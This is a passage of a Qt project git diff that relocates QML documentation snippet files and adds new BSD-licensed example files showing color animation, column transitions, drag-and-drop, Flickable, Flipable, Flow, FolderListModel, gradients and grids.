Rectangle { + x: 0; y: 30 + width: 200; height: 1 + color: "gray" + } + + Rectangle { + x: 0; y: 90 + width: 200; height: 1 + color: "gray" + } +} diff --git a/doc/src/snippets/qml/codingconventions/dotproperties.qml b/src/qml/doc/snippets/qml/codingconventions/dotproperties.qml index 75f4629b3e..75f4629b3e 100644 --- a/doc/src/snippets/qml/codingconventions/dotproperties.qml +++ b/src/qml/doc/snippets/qml/codingconventions/dotproperties.qml diff --git a/doc/src/snippets/qml/codingconventions/javascript-imports.qml b/src/qml/doc/snippets/qml/codingconventions/javascript-imports.qml index 5ea66a9b1f..5ea66a9b1f 100644 --- a/doc/src/snippets/qml/codingconventions/javascript-imports.qml +++ b/src/qml/doc/snippets/qml/codingconventions/javascript-imports.qml diff --git a/doc/src/snippets/qml/codingconventions/javascript.qml b/src/qml/doc/snippets/qml/codingconventions/javascript.qml index de3cc21493..de3cc21493 100644 --- a/doc/src/snippets/qml/codingconventions/javascript.qml +++ b/src/qml/doc/snippets/qml/codingconventions/javascript.qml diff --git a/doc/src/snippets/qml/codingconventions/lists.qml b/src/qml/doc/snippets/qml/codingconventions/lists.qml index f99c92b08e..f99c92b08e 100644 --- a/doc/src/snippets/qml/codingconventions/lists.qml +++ b/src/qml/doc/snippets/qml/codingconventions/lists.qml diff --git a/doc/src/snippets/qml/codingconventions/photo.qml b/src/qml/doc/snippets/qml/codingconventions/photo.qml index 1bd2811e9f..1bd2811e9f 100644 --- a/doc/src/snippets/qml/codingconventions/photo.qml +++ b/src/qml/doc/snippets/qml/codingconventions/photo.qml diff --git a/doc/src/snippets/qml/codingconventions/private.qml b/src/qml/doc/snippets/qml/codingconventions/private.qml index 9aba1d0377..9aba1d0377 100644 --- a/doc/src/snippets/qml/codingconventions/private.qml +++ b/src/qml/doc/snippets/qml/codingconventions/private.qml diff --git a/src/qml/doc/snippets/qml/coloranimation.qml b/src/qml/doc/snippets/qml/coloranimation.qml new file mode 100644 index 0000000000..bb2d83bfb8 --- /dev/null +++ b/src/qml/doc/snippets/qml/coloranimation.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 + +Rectangle { + width: 100; height: 100 + color: "red" + + ColorAnimation on color { to: "yellow"; duration: 1000 } +} +//![0] + diff --git a/doc/src/snippets/qml/colors.qml b/src/qml/doc/snippets/qml/colors.qml index 7f94c6b843..7f94c6b843 100644 --- a/doc/src/snippets/qml/colors.qml +++ b/src/qml/doc/snippets/qml/colors.qml diff --git a/src/qml/doc/snippets/qml/column/column-transitions.qml b/src/qml/doc/snippets/qml/column/column-transitions.qml new file mode 100644 index 0000000000..8e291b12c8 --- /dev/null +++ b/src/qml/doc/snippets/qml/column/column-transitions.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +//! [document] +Column { + spacing: 2 + + Rectangle { color: "red"; width: 50; height: 50 } + Rectangle { id: greenRect; color: "green"; width: 20; height: 50 } + Rectangle { color: "blue"; width: 50; height: 20 } + + move: Transition { + NumberAnimation { properties: "x,y"; duration: 1000 } + } + + focus: true + Keys.onSpacePressed: greenRect.visible = !greenRect.visible +} +//! [document] diff --git a/src/qml/doc/snippets/qml/column/vertical-positioner.qml b/src/qml/doc/snippets/qml/column/vertical-positioner.qml new file mode 100644 index 0000000000..1661c46ba8 --- /dev/null +++ b/src/qml/doc/snippets/qml/column/vertical-positioner.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +//! [document] +Column { + spacing: 2 + + Rectangle { color: "red"; width: 50; height: 50 } + Rectangle { color: "green"; width: 20; height: 50 } + Rectangle { color: "blue"; width: 50; height: 20 } +} +//! [document] diff --git a/doc/src/snippets/qml/comments.qml b/src/qml/doc/snippets/qml/comments.qml index 8c3f0045b9..8c3f0045b9 100644 --- a/doc/src/snippets/qml/comments.qml +++ b/src/qml/doc/snippets/qml/comments.qml diff --git a/doc/src/snippets/qml/component.qml b/src/qml/doc/snippets/qml/component.qml index e2a359e0e4..e2a359e0e4 100644 --- a/doc/src/snippets/qml/component.qml +++ b/src/qml/doc/snippets/qml/component.qml diff --git a/doc/src/snippets/qml/componentCreation.js b/src/qml/doc/snippets/qml/componentCreation.js index 7364139d3d..7364139d3d 100644 --- a/doc/src/snippets/qml/componentCreation.js +++ b/src/qml/doc/snippets/qml/componentCreation.js diff --git a/doc/src/snippets/qml/createComponent-simple.qml b/src/qml/doc/snippets/qml/createComponent-simple.qml index 3f90a39166..3f90a39166 100644 --- a/doc/src/snippets/qml/createComponent-simple.qml +++ b/src/qml/doc/snippets/qml/createComponent-simple.qml diff --git a/doc/src/snippets/qml/createComponent.qml b/src/qml/doc/snippets/qml/createComponent.qml index e2d81170e4..e2d81170e4 100644 --- a/doc/src/snippets/qml/createComponent.qml +++ b/src/qml/doc/snippets/qml/createComponent.qml diff --git a/doc/src/snippets/qml/createQmlObject.qml b/src/qml/doc/snippets/qml/createQmlObject.qml index 76cf836914..76cf836914 100644 --- a/doc/src/snippets/qml/createQmlObject.qml +++ b/src/qml/doc/snippets/qml/createQmlObject.qml diff --git a/src/qml/doc/snippets/qml/drag.qml b/src/qml/doc/snippets/qml/drag.qml new file mode 100644 index 0000000000..286fcfc52b --- /dev/null +++ b/src/qml/doc/snippets/qml/drag.qml @@ -0,0 +1,75 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +import QtQuick 2.0 + +Item { + width: 200; height: 200 + + DropArea { + x: 75; y: 75 + width: 50; height: 50 + + Rectangle { + anchors.fill: parent + color: "green" + + visible: parent.containsDrag + } + } + + Rectangle { + x: 10; y: 10 + width: 20; height: 20 + color: "red" + + Drag.active: dragArea.drag.active + Drag.hotSpot.x: 10 + Drag.hotSpot.y: 10 + + MouseArea { + id: dragArea + anchors.fill: parent + + drag.target: parent + } + } +} +//![0] diff --git a/doc/src/snippets/qml/dynamicObjects-destroy.qml b/src/qml/doc/snippets/qml/dynamicObjects-destroy.qml index 66fbc0b243..66fbc0b243 100644 --- a/doc/src/snippets/qml/dynamicObjects-destroy.qml +++ b/src/qml/doc/snippets/qml/dynamicObjects-destroy.qml diff --git a/doc/src/snippets/qml/events.qml b/src/qml/doc/snippets/qml/events.qml index b9c5fef954..b9c5fef954 100644 --- a/doc/src/snippets/qml/events.qml +++ b/src/qml/doc/snippets/qml/events.qml diff --git a/src/qml/doc/snippets/qml/flickable.qml b/src/qml/doc/snippets/qml/flickable.qml new file mode 100644 index 0000000000..fda2615e14 --- /dev/null +++ b/src/qml/doc/snippets/qml/flickable.qml @@ -0,0 +1,50 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtQuick 2.0 + +Flickable { + width: 200; height: 200 + contentWidth: image.width; contentHeight: image.height + + Image { id: image; source: "bigImage.png" } +} +//! [document] diff --git a/src/qml/doc/snippets/qml/flickableScrollbar.qml b/src/qml/doc/snippets/qml/flickableScrollbar.qml new file mode 100644 index 0000000000..fd0aee3fc1 --- /dev/null +++ b/src/qml/doc/snippets/qml/flickableScrollbar.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +//![0] +Rectangle { + width: 200; height: 200 + + Flickable { + id: flickable +//![0] + anchors.fill: parent + contentWidth: image.width; contentHeight: image.height + + Image { id: image; source: "pics/qt.png" } +//![1] + } + + Rectangle { + id: scrollbar + anchors.right: flickable.right + y: flickable.visibleArea.yPosition * flickable.height + width: 10 + height: flickable.visibleArea.heightRatio * flickable.height + color: "black" + } +} +//![1] diff --git a/src/qml/doc/snippets/qml/flipable/flipable.qml b/src/qml/doc/snippets/qml/flipable/flipable.qml new file mode 100644 index 0000000000..4e451204d4 --- /dev/null +++ b/src/qml/doc/snippets/qml/flipable/flipable.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [0] +import QtQuick 2.0 + +Flipable { + id: flipable + width: 240 + height: 240 + + property bool flipped: false + + front: Image { source: "front.png"; anchors.centerIn: parent } + back: Image { source: "back.png"; anchors.centerIn: parent } + + transform: Rotation { + id: rotation + origin.x: flipable.width/2 + origin.y: flipable.height/2 + axis.x: 0; axis.y: 1; axis.z: 0 // set axis.y to 1 to rotate around y-axis + angle: 0 // the default angle + } + + states: State { + name: "back" + PropertyChanges { target: rotation; angle: 180 } + when: flipable.flipped + } + + transitions: Transition { + NumberAnimation { target: rotation; property: "angle"; duration: 4000 } + } + + MouseArea { + anchors.fill: parent + onClicked: flipable.flipped = !flipable.flipped + } +} +//! [0] + diff --git a/src/qml/doc/snippets/qml/flow.qml b/src/qml/doc/snippets/qml/flow.qml new file mode 100644 index 0000000000..1141269986 --- /dev/null +++ b/src/qml/doc/snippets/qml/flow.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtQuick 2.0 + +Rectangle { + color: "lightblue" + width: 300; height: 200 + +//! [flow item] + Flow { + anchors.fill: parent + anchors.margins: 4 + spacing: 10 + + Text { text: "Text"; font.pixelSize: 40 } + Text { text: "items"; font.pixelSize: 40 } + Text { text: "flowing"; font.pixelSize: 40 } + Text { text: "inside"; font.pixelSize: 40 } + Text { text: "a"; font.pixelSize: 40 } + Text { text: "Flow"; font.pixelSize: 40 } + Text { text: "item"; font.pixelSize: 40 } + } +//! [flow item] +} +//! [document] diff --git a/src/qml/doc/snippets/qml/folderlistmodel.qml b/src/qml/doc/snippets/qml/folderlistmodel.qml new file mode 100644 index 0000000000..5878640567 --- /dev/null +++ b/src/qml/doc/snippets/qml/folderlistmodel.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//![0] +import QtQuick 2.0 +import Qt.labs.folderlistmodel 1.0 + +ListView { + width: 200; height: 400 + + FolderListModel { + id: folderModel + nameFilters: ["*.qml"] + } + + Component { + id: fileDelegate + Text { text: fileName } + } + + model: folderModel + delegate: fileDelegate +} +//![0] diff --git a/src/qml/doc/snippets/qml/gradient.qml b/src/qml/doc/snippets/qml/gradient.qml new file mode 100644 index 0000000000..a5af6a7930 --- /dev/null +++ b/src/qml/doc/snippets/qml/gradient.qml @@ -0,0 +1,52 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 + +//![code] +Rectangle { + width: 100; height: 100 + gradient: Gradient { + GradientStop { position: 0.0; color: "red" } + GradientStop { position: 0.33; color: "yellow" } + GradientStop { position: 1.0; color: "green" } + } +} +//![code] diff --git a/src/qml/doc/snippets/qml/grid/grid.qml b/src/qml/doc/snippets/qml/grid/grid.qml new file mode 100644 index 0000000000..7fb1bb6f5a --- /dev/null +++ b/src/qml/doc/snippets/qml/grid/grid.qml @@ -0,0 +1,53 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE 